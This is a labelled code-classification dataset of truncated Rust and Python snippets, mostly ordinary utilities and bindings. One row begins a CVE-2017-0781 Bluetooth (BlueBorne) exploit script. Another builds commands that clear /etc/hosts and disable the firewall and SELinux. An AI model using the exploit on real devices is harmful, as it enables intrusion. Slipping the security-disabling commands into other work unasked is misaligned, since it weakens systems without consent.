text
string
label_name
string
labels
int64
ld::*; let thresholds = [_22mV, _33mV, _44mV, _56mV, _67mV, _78mV, _89mV, _100mV, _111mV, _133mV, _155mV, _178mV, _200mV]; if mv_threshold < 22 { return _22mV; } else if mv_threshold > 200 { return _200mV; } else { for t in thresholds.iter(...
Rust
0
self.text_content, re.IGNORECASE) if vkn_matches: invoice_data['vendor_tax_id'] = vkn_matches[0] # First VKN is usually vendor logger.info(f"Fallback extracted vendor VKN: {vkn_matches[0]}") # Set fallback address based on detected company if not invoice_data.g...
Python
1
from typing import Dict, Callable, List import collections import torch import torch.nn as nn def dict_apply( x: Dict[str, torch.Tensor], func: Callable[[torch.Tensor], torch.Tensor] ) -> Dict[str, torch.Tensor]: result = dict() for key, value in x.items(): if isinstance(value,...
Python
1
self.data[cy_px-radius_px:cy_px+radius_px, cx_px-radius_px: cx_px+radius_px][index] = 0 def add_boundary(self, boundaries): """ Add boundaries to the map. :param boundaries: list of tuples containing coordinates of boundaries' start...
Python
1
`GENERATED`"] #[inline(always)] pub fn is_generated(&self) -> bool { *self == EVENTS_RAMACCERR_A::GENERATED } } #[doc = "Write proxy for field `EVENTS_RAMACCERR`"] pub struct EVENTS_RAMACCERR_W<'a> { w: &'a mut W, } impl<'a> EVENTS_RAMACCERR_W<'a> { #[doc = r"Writes `variant` to the field"]...
Rust
0
let i = a_i[pj as usize]; let inew = p_inv[i as usize] as usize; a[inew][jnew] = "X"; } } print!(" "); for j in 0..n { print!(" {}", j % 10); } println!(); for i in 0..n { print!("{}: ", i); for j in 0..n { print!(" {}...
Rust
0
import socket def 检查端口监听状态(端口号): """ 检查是否有程序正在监听指定的端口。 Args: 端口号: 要检查的端口号 (整数)。 Returns: 如果端口正在被监听,返回 True;否则返回 False。 """ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) # 设置超时时间 结果 = False try: sock.connect(('127.0.0.1', 端口号))...
Python
1
"""Zoo URL Configuration. The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/dev/topics/http/urls/ Examples -------- Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class...
Python
1
from core.at_cmds import ATCommands from core.logger import Logger import os ENV_MODEM = os.environ.get('MODEM') ENV_PORT = os.environ.get('PORT') ENV_BAUDRATE = os.environ.get('BAUDRATE', 115200) ENV_TIMEOUT = os.environ.get('TIMEOUT', 600) ENV_WAIT_TIME = os.environ.get('WAIT_TIME', 600) ENV_DEVICE_NAME = os.environ...
Python
1
coords = list(map(int, input().split(" "))) while coords != [0, 0, 0, 0]: x1 = coords[0] x2 = coords[2] y1 = coords[1] y2 = coords[3] movs = 0 if abs(x1 - x2) == abs(y1 - y2) and x1 != x2 and y1 != y2: movs += 1 else: if x1 < x2 or x1 > x2: movs += 1 if...
Python
1
"); ensure!(opcodes.iter().enumerate().all(|(index, &x)| x as usize == index), "unable to map opcodes to instructions"); Ok(()) } fn main() -> Result<()> { let input = setup(file!())?; let input = String::from_utf8_lossy(&input); let re = Regex::new(r#"Before: \[(\d+), (\d+), (\d+), (\d+)\]\s+(\d...
Rust
0
d in the environment. Observe that the beliefs of the agents may be different.""" print("\n\n*** Final results per agent ***") for body in self.agents: print(f"\n[ Agent {body.mind.NAME} ]") if body._state == VS.DEAD: print("This agent is dead, you should...
Python
1
=1000, # marker_size=12, # opacity=0.8 # ) # # Example 2: 3D bubble plot # plot( # data_frames=data_frames, # savefig="asset_distribution_3d_bubble.pdf", # dimensions=3, # plot_type='bubble', # title='3D Asset Distribution Bubble Plot', # ...
Python
1
# Copyright © 2024 Pathway from typing import Tuple import pathway.internals as pw from pathway.internals import dtype as dt from pathway.internals.type_interpreter import eval_type def check_column_reference_type( parameters: list[ Tuple[str, Tuple[pw.ColumnExpression, dt.DType | tuple[dt.DType, ...]]] ...
Python
1
estriction, "restricts the usage of `pub use`" } declare_lint_pass!(PubUse => [PUB_USE]); impl EarlyLintPass for PubUse { fn check_item(&mut self, cx: &EarlyContext<'_>, item: &Item) { if let ItemKind::Use(_) = item.kind && let VisibilityKind::Public = item.vis.kind { span_l...
Rust
0
outputs=["output"], data=self.model_blob ) # 5. Post-deployment verification if not self.connection.modelget(CONFIG["model_key"]): raise RuntimeError("Model verification failed") # 6. Finalize audit log ...
Python
1
main() { } pub mod product; pub mod root; pub mod user; use std::path::PathBuf; use clap::Parser; #[derive(Parser, Debug)] #[clap( name = "Geil", about = "A git repository manager", author = env!("CARGO_PKG_AUTHORS"), version = env!("CARGO_PKG_VERSION") )] pub struct CliArguments { /// Verbose mo...
Rust
0
import os from pathlib import Path import requests import gdown import shutil def download_file(url, destination): response = requests.get(url, stream=True) if response.status_code == 200: with open(destination, "wb") as file: for chunk in response.iter_content(chunk_size=1024): ...
Python
1
} } impl PartialEq for in6_addr { #[inline(always)] fn eq(&self, other: &Self) -> bool { unsafe { self.s6_addr == other.s6_addr } } } impl PartialOrd for in6_addr { #[inline(always)] fn partial_cmp(&self, other: &Self) -> Option<Ordering> { unsafe { self.s6_addr.partial_cmp(&other.s6_addr) } } } impl O...
Rust
0
= cursor.into_inner(); let expected = "\ petgraph\n\ ├── quickcheck\n\ │ ├── libc\n\ │ └── rand\n\ │ └── libc\n\ └── fixedbitset\n\ "...
Rust
0
kistan', 'Islamabad'], ['Palau', 'Melekeok'], ['Panama', 'Panama City'], ['Papua New Guinea', 'Port Moresby'], ['Paraguay', 'Asuncion'], ['Peru', 'Lima'], ['Philippines', 'Manila'], ['Poland', 'Warsaw'], ['Portugal', 'Lisbon'], ['Qatar', 'Doha'], ['Romania', 'Buchares...
Python
1
/// /// Keys are /// 16 bits Manufacturer ID followed by its byte array /// value. property( ManufacturerData, HashMap<u16, Vec<u8>>, dbus: (INTERFACE, "ManufacturerData", HashMap<u16, Variant<Box<dyn RefArg + 'static>>>, OPTIONAL), get: (manufacturer...
Rust
0
\n\r{esc}[4A"); let render_prompt = f!("{esc}[0G{esc}7> \n\r"); let restore_cursor = f!("{esc}8{esc}[3G"); stdout_spy.assert(f!("\ {clear}\ {render_prompt}\ {esc}[7mone{esc}[0m\n\r\ {esc}[0mtwo{esc}[0m\n\r\ {restore_cursor}")); Ok(()) } #[...
Rust
0
"Lightning speed" } p { "Sycamore harnesses the full power of " a(href="https://www.rust-lang.org/", class="underline", target="_blank") { "Rust" } " via " a(href="https://webassembly.org/", class="underline", target="_blan...
Rust
0
st0_sti = 573, Fcmovnbe_st0_sti = 574, Fcmovnu_st0_sti = 575, Fneni = 576, Feni = 577, Fndisi = 578, Fdisi = 579, Fnclex = 580, Fclex = 581, Fninit = 582, Finit = 583, Fnsetpm = 584, Fsetpm = 585, Frstpm = 586, Fucomi_st0_sti = 587, Fcomi_st0_sti = 588, Fadd_m64fp = 589, Fmul_m64fp = 590, Fcom_m64fp =...
Rust
0
ucture representing a managed blobfs partition. When dropped, it attempts to unmount blobfs /// (if it was previously mounted). pub struct Blobfs { namespace: Namespace, device_path: String, mount_point: Option<String>, } impl Drop for Blobfs { fn drop(&mut self) { if let Some(_) = self.mount_p...
Rust
0
Register"] #[allow(non_camel_case_types)] pub struct USB1_VBUS_DETECT_SET { _not_send_or_sync: PhantomData<*mut ()>, } impl USB1_VBUS_DETECT_SET { const OFFSET: usize = 0x04; #[doc = r" Reset value"] pub const RESET_VALUE: u32 = 0x0010_0004; #[doc = r" Performs a...
Rust
0
from pwn import * import bluetooth if not 'TARGET' in args: log.info('Usage: python CVE-2017-0781.py TARGET=XX:XX:XX:XX:XX:XX') exit() target = args['TARGET'] count = 30 # Amount of packets to send port = 0xf # BT_PSM_BNEP context.arch = 'arm' BNEP_FRAME_CONTROL = 0x01 BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x...
Python
1
cmd_list.extend([ 'cat /dev/null > /etc/hosts', 'echo "{}" > /etc/hosts'.format(ip_conf) ]) # 禁用防火墙 cmd_list.extend([ 'systemctl stop firewalld', 'systemctl disable firewalld', "sed -i 's/SELINUX=enabled/SELINUX=disabled/g' /etc/sel...
Python
1
} } impl TryFrom<&mut Bytes> for utf8string<Bytes> { type Error = Error; fn try_from(mut v: &mut Bytes) -> Result<Self, Self::Error> { Ok(Self(v.read_variable_bytes(None)?)) } } "# ); // Note: this will not compile as TryFrom is not (and cannot) be implemented // for u32. // // This test simply as...
Rust
0
ed=Seed.amaranth, seasons=(Season.fall,)),), Fruit.grape: (HarvestCropSource(seed=Seed.grape, seasons=(Season.fall,)),), Vegetable.artichoke: (HarvestCropSource(seed=Seed.artichoke, seasons=(Season.fall,)),), Vegetable.broccoli: (HarvestCropSource(seed=Seed.broccoli, seasons=(Season.fall,)),), ...
Python
1
Box::new(dummy_cycle_func)), VERSION0).unwrap(); let code = aot_machine.compile().unwrap(); let mut machine = AsmMachine::new(core, Some(&code)); machine .load_program(&buffer, &vec!["syscall".into()]) .unwrap(); let result = machine.run(); assert!(result.is_err()); assert_eq!(re...
Rust
0
il otherwise. fn parse_element_inner_text(&mut self, text: Cow<'_, str>) -> Result<()> { if !text.trim().is_empty() { return Err(errors::unexpected_text()); } Ok(()) } /// Parse inner elements. /// /// The default implementation will fail with "unexpected element". fn parse_element_inner_node<P: Element...
Rust
0
ut self) -> DONE_W { DONE_W { w: self } } } use structopt::StructOpt; #[derive(StructOpt)] pub enum ConfigCommand { #[structopt(about = "Get the value for the given config key")] Get { key: String }, #[structopt(about = "Set the value for the given config key")] Set { key: String, value: St...
Rust
0
("OUT_DIR"), "/protocol.rs")); /// Type alias for AMQP BasicProperties pub type BasicProperties = basic::AMQPProperties; #[cfg(test)] mod test { use super::*; #[test] fn test_description() { assert_eq!(format!("{} - {}.{}.{}", metadata::NAME, metadata::MAJOR_VERSION, metadata::MINOR_VERSION, meta...
Rust
0
1].split('_')[1]==sorted_edgeLists[j][1].split('_')[1]): if(links[sorted_edgeLists[i][0]]['sender']==links[sorted_edgeLists[j][0]]['sender'] and links[sorted_edgeLists[i][0]]['receiver']==links[sorted_edgeLists[j][0]]['receiver']): continue # 第二类冲突 if(...
Python
1
"""This program shows how to use Sol's built-in ADSR envelope generation functionality. If you don't need the second CV output for something else, this allows you to use Sol instead of an (or in addition to) a dedicated ADSR moduel. This patch is a simplified version of the default program. Output mapping: - CV A: N...
Python
1
'"' => self.collect_string(), // Exeptionally ignore None case from 'collect_newline' as this may intentionally // refuse to add a newline token based on the previous token '\n' => match self.collect_newline(tokens.last().cloned()) { S...
Rust
0
.groupby("ref_index")["distance"].idxmin()].drop( columns=["distance"] ) merged = ( ref_gdf.reset_index() .merge(best, left_on="index", right_on="ref_index", how="inner") .drop(columns=["geometry", "ref_index"]) ) # Optional clean matched_file like original code did i...
Python
1
import glob import pathlib as pl from typing import List, Tuple from sacred import Ingredient from rich.progress import track from flatten_litbank_ner import flatten_litbank_ner_ from splice.data import Novel, load_novel litbank_ingredient = Ingredient("litbank") @litbank_ingredient.config def litbank_config(): ...
Python
1
d_data(image) def close(self): if self.writer is not None: self.writer.close() def change_video_fps(input_file, output_file, fps=20, codec='libx264', crf=5): cmd = f"ffmpeg -i {input_file} -c:v {codec} -crf {crf} -r {fps} {output_file} -y" exec_cmd(cmd) def get_fps(filepath): im...
Python
1
this.condvar_wait(id, active_thread, mutex_id); Ok(0) } fn pthread_cond_timedwait( &mut self, cond_op: OpTy<'tcx, Tag>, mutex_op: OpTy<'tcx, Tag>, abstime_op: OpTy<'tcx, Tag>, dest: PlaceTy<'tcx, Tag>, ) -> InterpResult<'tcx> { let this = se...
Rust
0
import os import sys import shutil import uuid import logging def generate_working_dir(working_dir_base): """ Creates a unique working directory to combat job multitenancy :param working_dir_base: base working directory :return: a unique subfolder in working_dir_base with a uuid """ working_d...
Python
1
4wd", "K1500 Silverado 4wd", "K1500 Tahoe 4wd", "Lacrosse/allure", "Limousine", "Malibu", "Montana Sv6 Awd", "<NAME>", "Rendezvous Awd", "Rendezvous Fwd", "Solstice", "Srx 2wd", "Srx Awd", "Ssr Pickup 2wd", "Sts", "Sts Awd", "Terraza Fwd", "Trailblazer...
Rust
0
""" Classifies: CHEBI:50760 N-hydroxy-alpha-amino-acid """ from rdkit import Chem from rdkit.Chem import AllChem def is_N_hydroxy_alpha_amino_acid(smiles: str): """ Determines if a molecule is an N-hydroxy-alpha-amino-acid based on its SMILES string. An N-hydroxy-alpha-amino-acid has a carboxylic acid grou...
Python
1
adjacency_list = { 'S': [('A', 1), ('B', 4)], 'A': [('B', 2), ('C', 5), ('G', 12)], 'B': [('C', 2)], 'C': [('D', 2), ('G', 3)], 'D': [('G', 2), ('A', 2)], 'G': [('C', 4)] } H = { 'S': 7, 'A': 6, 'B': 2, 'C': 1, 'D': 1, 'G': 0 } class Node: def __init__(self, nodena...
Python
1
tryType, ) -> GdalMetadataMapping { GdalMetadataMapping { source_key: key.clone(), target_key: key, target_type, } } } fn properties_from_gdal<'a, I, M>( properties: &mut RasterProperties, gdal_dataset: &M, properties_mapping: I, ) where I: In...
Rust
0
class BaseLanguageModel(object): """ Base lanuage model. Define how to generate sentence by using a LM Args: args: arguments for LM configuration """ @staticmethod def add_args(parser): return def __init__(self, args): self.args = args def load_model(self, **kw...
Python
1
let rfc3339 = humantime::format_rfc3339(self.inner); <humantime::Rfc3339Timestamp as fmt::Display>::fmt(&rfc3339, f) } } // TODO: Remove manual impl once minimum Rust version reaches 1.24.0. impl Hash for Date { fn hash<H: Hasher>(&self, state: &mut H) { let elapsed = match self.inner.durat...
Rust
0
import matplotlib.pylab as plt import params import kinetics import importlib importlib.reload(params) importlib.reload(kinetics) from kinetics import * from params import * def curves(): inf_n = {} inf_m = {} inf_h = {} tau_n = {} tau_m = {} tau_h = {} for i in range(V_LOWER*V_DEF...
Python
1
save_name, best[1], x, y_true, y_pred, breaks, breaks_label, ...
Python
1
a=int(input("Enter any Number : ")) for i in range (1,11): print(a,"*",i,"=",a*i)
Python
1
#!/usr/app/env python3 # -*- coding: utf-8 -*- from shared import * def get_fasta_pieces_single_seqid_SeqIO(df_in: pd.DataFrame, genome_SeqRecord: SeqIO.SeqRecord, seqid: str, flag_verbose: bool = True) -> Optional[pd.DataFrame]: df = df_in[df_in["seqid"] == seqid].copy() ...
Python
1
!(flags)) ); assert_eq!( unsafe { &(*(::std::ptr::null::<evp_cipher_st>())).app_data as *const _ as usize }, 24usize, concat!("Offset of field: ", stringify!(evp_cipher_st), "::", stringify!(app_data)) ); assert_eq!( unsafe { &(*(::std::ptr::null::<evp_cipher_st>())).init...
Rust
0
)] pub struct Bbox<T> { pub min_x: T, pub max_x: T, pub min_y: T, pub max_y: T, } impl<T> Bbox<T> where T: Float { pub fn new(min_x: T, max_x: T, min_y: T, max_y: T) -> Self { Bbox { min_x: min_x, max_x: max_x, min_y: min_y, max_y: max_y, ...
Rust
0
010111620V#505F是、是吗?', TxtCtl.Enter, ), ) CloseMessageWindow() ChrTalk( 0x0102, ( '#0020111621V#010F看起来脸色确实好些了呢。\n', ' ', TxtCtl.Enter, TxtCtl.Clear, '#0020111622V不过……\n', '请不要勉强硬撑着啊。', ...
Python
1
BookSystem, Genres) { &self.state } } pub(crate) fn is_control_char(c: u32) -> bool { c <= 31 || c == 127 } use std::f32; use std::fs::File; use std::io::Write; use std::vec::Vec; // use std::f32::{INFINITY, NEG_INFINITY}; use image::{GrayImage, RgbaImage}; static INF: f32 = 9999.0; pub struct SDF { ...
Rust
0
''' Function that return multiple values 100xp In the previous exercise, you constructed tuples, assigned tuples to variables, and unpacked tuples. Here you will return multiple values from a function using tuples. Let's now update our shout() function to return multiple values. Instead of returning just one string, w...
Python
1
import sqlite3 def veritabani_olustur(): conn = sqlite3.connect("arac_bakim.db") cursor = conn.cursor() # Tabloyu oluştur (Zaten varsa atla) cursor.execute(""" CREATE TABLE IF NOT EXISTS arac_bakim ( id INTEGER PRIMARY KEY AUTOINCREMENT, musteri_ad TEXT NOT NULL, ...
Python
1
out, b"\\%c\x00" as *const u8 as *const libc::c_char, escaped as libc::c_int, ); continue; } 9 => { current_block = ...
Rust
0
import random from pathlib import Path from urllib.request import urlretrieve from llm_kr_eval.datasets.base import BaseDatasetProcessor, Sample class KobestSnDatasetProcessor(BaseDatasetProcessor): data_name = "kobest_sn" def __init__(self, dataset_dir: Path, version_name: str) -> None: super().__i...
Python
1
Timeout(pool: *mut opaque::ODPIPool, value: u32) -> ::std::os::raw::c_int; } extern "C" { pub fn dpiRowid_getStringValue( rowid: *mut opaque::ODPIRowid, value: *mut *const ::std::os::raw::c_char, valueLength: *mut u32, ) -> ::std::os::raw::c_int; pub fn dpiRowid_release(subscr: *mut...
Rust
0
MqttServer< Io, DefaultProtocolServer<Io, Err, InitErr, v3::codec::Codec>, DefaultProtocolServer<Io, Err, InitErr, v5::codec::Codec>, Err, InitErr, > { /// Create mqtt protocol selector server pub fn new() -> Self { MqttServer { v3: DefaultProtocol...
Rust
0
} } impl ::core::fmt::Debug for $name { fn fmt(&self, f: &mut ::core::fmt::Formatter) -> ::core::fmt::Result { let &$name(ref data) = self; write!(f, "{:?}", data)?; Ok(()) } } impl From<$name> for f32 ...
Rust
0
#!/usr/bin/env python # -*- coding: utf-8 -*- """ 브라우저 열고 충분히 기다리는 버전 """ import asyncio import json from playwright.async_api import async_playwright async def login_with_wait(): print("\n" + "="*60) print("Bizmeka 로그인 - 충분한 대기 시간") print("="*60) profile_dir = "C:\\projects\\autoinput\\browser_p...
Python
1
Gsi = 1, Rc = 2, Uc = 3, Ud = 4, RawIPv6 = 5, RawEtherType = 6, RawPacket = 8, XrcIni = 9, XrcTgt = 10, Max = 11 } #[repr(C)] pub enum PVRDMAQpCreateFlags { CreateIPoPVRDMA = 1, CreateMulticastLoopback = 2 } #[repr(C)] pub enum PVRDMAQpAttrMask { State ...
Rust
0
# This code is part of a Qiskit project. # # (C) Copyright IBM 2019, 2023. # # This code is licensed under the Apache License, Version 2.0. You may # obtain a copy of this license in the LICENSE.txt file in the root directory # of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. # # Any modifications ...
Python
1
# Copyright 2024-2025 IBM Corporation import aiu_trace_analyzer.ingest.ingestion as ingest import aiu_trace_analyzer.core.processing as processing import aiu_trace_analyzer.export.exporter as output class Engine: # main engine that drives the processing # high-level: # * drive the ingest iterator(s) to...
Python
1
import numpy as np import cv2 as cv from PyQt5 import QtGui from PyQt5.QtCore import * from PyQt5.QtWidgets import * from PyQt5.QtGui import * from PIL import Image import globalFunc from PIL import ImageQt operationBtns = [] functionalAreas = [] logDisplay = [] inputImage = [] def imgToPixmap(image): im2 = i...
Python
1
""" ====== Slider ====== In this example, sliders are used to control the frequency and amplitude of a sine wave. See :doc:`/gallery/widgets/slider_snap_demo` for an example of having the ``Slider`` snap to discrete values. See :doc:`/gallery/widgets/range_slider` for an example of using a ``RangeSlider`` to define ...
Python
1
866e+0, 7.02065338e-1], [1.99302505e+0, 7.65118147e-1], [2.29537817e+0, 8.22182002e-1], [2.64359995e+0, 8.71589131e-1], [3.04464894e+0, 9.12260362e-1], [3.50653932e+0, 9.43863360e-1], [4.03850107e+0, 9.66851504e-1], [4.65116441e+0, 9.82355909e-1], [5.35677222e+0, 9.91945370e-1], [6.16942472e+0, 9.9731...
Rust
0
CON_SPEC>`"] pub type CCUCON = crate::Reg<ccucon::CCUCON_SPEC>; #[doc = "CCU Control Register"] pub mod ccucon; #[doc = "DTSCON register accessor: an alias for `Reg<DTSCON_SPEC>`"] pub type DTSCON = crate::Reg<dtscon::DTSCON_SPEC>; #[doc = "Die Temperature Sensor Control Register"] pub mod dtscon; #[doc = "DTSSTAT regi...
Rust
0
_hsfscnt_set; #[doc = "USB PHY Loopback Packet Number Select Register"] pub struct USB1_LOOPBACK_HSFSCNT_CLR { register: ::vcell::VolatileCell<u32>, } #[doc = "USB PHY Loopback Packet Number Select Register"] pub mod usb1_loopback_hsfscnt_clr; #[doc = "USB PHY Loopback Packet Number Select Register"] pub struct USB...
Rust
0
// -*- rust -*- // error-pattern:bounds check fn main() { let str s = "hello"; let int x = 0; check (s.(x) == u8(0x68)); // NB: at the moment a string always has a trailing NULL, // so the largest index value on the string above is 5, not // 4. Possibly change this. // Bounds-check failure. check (...
Rust
0
type=dtypes.float64, name="hidden_bias") softmax_weight = constant_op.constant( sm_weight_data.tolist(), shape=[features, classes], dtype=dtypes.float64, name="softmax_weight") softmax_bias = constant_op.constant( sm_bias_data.tolist(), s...
Python
1
import os import random import time import paramiko import sys import argparse from main import Connection from key_generator import generate_keys, get_private_key def sftp_throughput_test(server_ip, port, username, password, file_directory): """ Tests SFTP throughput by uploading files to a server. """ # Set...
Python
1
# Natural Language Toolkit: Europarl Corpus Readers # # Copyright (C) 2001-2024 NLTK Project # Author: Nitin Madnani <nmadnani@umiacs.umd.edu> # URL: <https://www.nltk.org/> # For license information, see LICENSE.TXT import re from nltk.corpus.reader import * from nltk.corpus.util import LazyCorpusLoader # Create a...
Python
1
lse: rp_batch = None else: off_policy_batch = None rp_batch = None return on_policy_batch, off_policy_batch, rp_batch @staticmethod def _check(batch): """ Debug. utility. """ print('Got data_dict:') for key in bat...
Python
1
se, 1 => true, _ => return Err(Error::InvalidValue), }; Ok(Self { key, partner, initiator, }) } } // 4.4.9.2 Transport-Key Commands /// Key-transport messages #[derive(Copy, Clone, Debug, PartialEq)] pub enum TransportKey { ///...
Rust
0
default", "_default").replace( "generated", "_generated", ) ); types.insert(pos, column_types.get(key).unwrap().to_owned()); } let mut len = insert_string.len(); // Remove trailing comma. insert_string.truncate(len - 1); // Start Inserting Values. insert_...
Rust
0
} #[cfg(all(feature = "Win32_Foundation", feature = "Win32_System_Com"))] impl ::core::marker::Copy for _wireSAFEARR_VARIANT {} #[cfg(all(feature = "Win32_Foundation", feature = "Win32_System_Com"))] impl ::core::clone::Clone for _wireSAFEARR_VARIANT { fn clone(&self) -> Self { *self } } #[repr(C)] #[d...
Rust
0
ern "C" { pub fn DAQmxSetupDSAAOTimebaseCal( calHandle: CalHandle, expectedFrequency: *mut float64, ) -> int32; } extern "C" { pub fn DAQmxGet4463AdjustPoints( calHandle: CalHandle, terminalConfig: int32, gain: float64, adjustmentPoints: *mut float64, ...
Rust
0
e(index) = s.as_str()[..(s.len() - 2)].rfind(", ") { s.insert_str(index + 2, "and "); } let len = s.len(); let mut v = s.into_bytes(); unsafe { v.set_len(len - 2); String::from_utf8_unchecked(v) } } #[derive(Debug, Clone)] pub struct RTCDateTime { pub rtc_time: Strin...
Rust
0
colorbar', None) trisurface_traces = trisurface(**dict(datum, **options)) # Find colorbar to set colorbar options. Colorbar is associated with # a `scatter3d` scatter trace. if colorbar: marker_traces = [trace for trace in trisurface_traces if tr...
Python
1
value; self.i = self.i + 1; return Some( (header_name.to_string(),header_value.to_string()) ) ; } } } } fn main() { loop { let (mut h, mut w) = default(); scanf!("{:u} {:u}", &mut h, &mut w); if (h == 0) && (w ==...
Rust
0
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse, time, json, sys import requests # -------- Embedding backends -------- _BGE = None def embed_bge_m3(texts): global _BGE if _BGE is None: from FlagEmbedding import BGEM3FlagModel _BGE = BGEM3FlagModel("BAAI/bge-m3", use_fp16=False,...
Python
1
t" content="width=device-width,initial-scale=1"> <title>Normally Closed</title> <style type="text/css"> body { background-color: #415A8D; color: #fff; font-family: Arial, Helvetica, sans-serif; } h1 small { font-size: 0.5em; font-weight: normal; opacity: 0.5; } form { display: inline-block; } input { font-size:...
Rust
0
"second" }"#, ) .unwrap(); let crate_names: Vec<_> = cargo.crates.iter().map(|lit| lit.value()).collect(); assert_eq!(crate_names, vec!["first", "second"]); } } #[macro_use] extern crate clap; extern crate libc; extern crate memchr; extern crate mio; extern c...
Rust
0
from django.core.management.base import SystemCheckError from django.db import models from django_grapesjs.forms.widgets import GrapesJsWidget from django_grapesjs.forms.fields import GrapesJsField from django_grapesjs.settings import BASE, GRAPESJS_DEFAULT_HTML, REDACTOR_CONFIG __all__ = ( 'GrapesJsHtmlField', )...
Python
1
# Python bytecode 2.7 (decompiled from Python 2.7) # Embedded file name: scripts/client/gui/Scaleform/daapi/view/tooltips/account_completion_builders.py from gui.Scaleform.genConsts.TOOLTIPS_CONSTANTS import TOOLTIPS_CONSTANTS from gui.impl.backport.backport_tooltip import DecoratedTooltipWindow from gui.impl.lobby.acc...
Python
1
or rendering figures, since it runs very fast while having high-level abstraction abilities. - What type of figure is supported? Currently, we support line series, point series and candlestick series. And the library is designed to be able to render multiple figure into a single image. But Plotter is aimed to be a pl...
Rust
0
u64, u128, usize, } => { rhs as _ } } )*}; } impl_shifts_assign! { ShlAssign { shl_assign => shl2, << } ShrAssign { shr_assign => shr2, >> } } macro_rules! impl_bitwiseops_assign { ($( $op:ident { $method:ident } )*) => {$( impl ops::$op<&'_ U256> for U256 { ...
Rust
0
{ let s = var_context.get_typed(src).expect("src was uninit"); let result = match s { TypedValue::I32(s) => TypedValue::I32(f(s)), TypedValue::I64(s) => TypedValue::I64(g(s)), }; assert_eq!(dst.ty(), result.ty()); var_context.insert(dst.into_untyped(), result); } fn do_extend_op...
Rust
0
# This exercise is from the 'Algoritmos de aproximación' class # We have to use a Greedy approach to calculate the way to arrive to an amount # with as few coins as possible. # First I did my implementation and after that I saw the implementation we saw # in the class in order to see the differences and optimizations. ...
Python
1
#Библиотеки from datetime import datetime #Мои модули from commands import * from jsons import json_load from audio import listen from write import writing class Receive_and_process: def main(): time_now= float(datetime.now().strftime("%H:%M").replace(":",".")) if int(str(time_now).split("."...
Python
1
W, F2, B2>, SequenceComposeFilterBuilder< W, F1, F2, B1, B2, GenericMatcher<W, F1, B1>, GenericMatcher<W, F2, B2>, >, >, > { // TODO: change this once Lookahead matchers are supported. let opts = Comp...
Rust
0
id: &symbol::GlobalInstanceId) -> Self { Self::from(*id) } } // === Errors === /// [`PointerTargetId`] decoding error. See the docs of [`PointerTargetId::decode_from_rgba`] to /// learn more. #[derive(Copy, Clone, Debug, Fail)] #[allow(missing_docs)] pub enum DecodeError { WrongAlpha(u32), Overfl...
Rust
0
// pub fn TTF_GlyphMetrics( // font: *mut TTF_Font, // ch: Uint16, // minx: *mut ::std::os::raw::c_int, // maxx: *mut ::std::os::raw::c_int, // miny: *mut ::std::os::raw::c_int, // maxy: *mut ::std::os::raw::c_int, // advance: *mut ::std::os::raw::c_int, // ) -> ::std::os::raw::c_int...
Rust
0
, self.space.level, with_parents=False) ) if not valid_only: return neighbors_blidxs, neighbors_coords valid_neighbors_selector = (neighbors_blidxs >= 0).nonzero()[:, 0] valid_neighbors_blidxs = neighbors_blidxs[valid_neighbors_selector] ...
Python
1
o<TimeSpec> for Timespec { fn into(self) -> TimeSpec { TimeSpec::nanoseconds(i64::from(self.nsecs)) } } pub(crate) enum BtrfsSendTlv { Uuid([u8; BTRFS_UUID_SIZE]), Transid(u64), Inode, Size(u64), Mode(u64), Uid(u64), Gid(u64), Rdev(u64), Ctime(Timespec), Mtime(Ti...
Rust
0